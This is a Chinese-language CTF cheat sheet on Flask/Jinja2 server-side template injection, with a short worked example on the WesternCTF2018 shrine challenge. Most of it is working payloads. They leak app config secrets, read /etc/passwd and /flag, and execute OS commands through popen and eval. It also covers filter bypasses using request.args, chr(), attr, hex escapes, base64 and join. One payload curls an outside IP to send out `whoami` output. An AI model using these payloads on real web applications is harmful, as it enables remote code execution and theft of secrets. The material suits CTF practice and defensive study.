模板注入在py2和py3中有些不同,但是没有本质上的区别。
模板注入的流程:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
几个魔术方法:
class 返回类型所属的对象
mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals 对包含函数全局变量的字典的引用
获取当前配置
在题目中看到app.config['FLAG'] = os.environ.pop('FLAG')
,就说明在当前配置文件中存在flag。
1、直接调用config
{{config.FLAG}}
或者{{config["FLAG"]}}
获取flag。
2、通过python自带函数url_for、get_flashed_messages等获取当前配置。
在题目中常常会过滤config、self,要获取配置信息,就必须从它的上部全局变量,通过访问current_app来找到flag。
{{url_for.__globals__["current_app"].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
3、使用self
{{self.__dict__._TemplateReference__context.config}}
4、使用""、[]、{}等数据结构
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}
例题:[WesternCTF2018]shrine
给出源代码,看到flask和app.config['FLAG'] = os.environ.pop('FLAG')
,应该就是flask模板注入,然后从配置文件中找到flag。模板注入点在/shrine/路径下,并且ban了config和self。
判断模板注入存在,然后直接用payload打。
{{url_for.__globals__["current_app"].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
只有这两个可以用。虽然可以找到<type ‘object’>父类,但是找不到子类。
所以不能使用数据结构的方法。
文件读取
在本地第40个子类为file类,可以进行文件读取。
payload:
''.__class__
''.__class__.__mro__(找父类)
''.__class__.__mro__[1].__subclasses__()(找子类)
''.__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()
在本地找子类脚本
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():try:if 'file' in str(item):print (num,item)num+=1except:print ('-')num+=1
积累几个文件读取的payload:(中括号的数字是动态变化的,具体要根据题目确定,可以burp爆破,有很多可用子类,找open)
builtins是Python中的一个模块。该模块提供对Python的所有“内置”标识符的直接访问;例如,builtins.open 是内置函数的全名 open()。同理还有eval、exec。
{{''.__class__.__mro__[1].__subclasses__()[65].__init__.__globals__.__builtins__.open("/flag").read()}}
命令执行
可以通过找os类来进行命令执行,每个题目中的os类序列号都不相同,可以通过写脚本或者burp爆破1-500,都比较快。
用burp爆破找os模块,每个题可以找到好多个可用模块.
payload:
''.__class__.__mro__[1].__subclasses__()[221].__init__.__globals__.os.popen("ls").read()
{{''.__class__.__mro__[1].__subclasses__()[356].__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}
{{''.__class__.__mro__[1].__subclasses__()[356].__init__.__globals__.__builtins__.__import__('os').popen("ls").read()}}
编程实现:不用自己去找类
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }} //poppen的参数就是要执行的命令{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}
SSTI的简单绕过
绕过" ’
最前面的可以替换成数组、字典、数字0 后面引号绕过:1.request.args
{{''.__class__.__mro__[1].__subclasses__()[356].__init__.__globals__.__builtins__.__import__(request.args.arg1)}}&arg1=os//{{''.__class__.__mro__[1].__subclasses__()[356].__init__.__globals__.__builtins__.__import__('os')}}
2.利用python自带chr()函数
首先用burp测试一下chr函数然后拼接:
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}
绕过[]
1.利用getitem
{{''.__class__.__mro__.__getitem__(1)}}//{{''.__class__.__mro__[1]}}
绕过{{}}{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl+http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
︷︷config︸︸
{{config}}
相当于把执行结果外带出来
绕过__
同样用request绕过
{{''[request.args.arg1][request.args.arg2]][1]}}&arg1=__class__&arg2=__mro__//{{''.__class__.__mro__[1]}}
绕过.
1.利用[]
{{''["__class__"]}}
2.getattr
{{getattr('',"__class__")}} //{{''.__class__}}
3.attr
{{''|attr('__class__')}} //{{''.__class__}}{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /flag')|attr('read')()}}
绕过关键字
过滤为空的话直接双写绕过
1.使用[]
{{""["__cla"+"ss__"]}}
2.不使用[]
{{"".__getattribute__("__cla"+"ss__")}}
3.使用request
{{"".__getattribute__(request.args.a)}}&a=__class__
4.编码绕过
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}}
//{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
5.|join
["a", "b", "c"]|join // abc
{{request|attr(["_"*2,"class","_"*2]|join)}}
//{{request.__class__}}
自动索引
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }} //poppen的参数就是要执行的命令{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}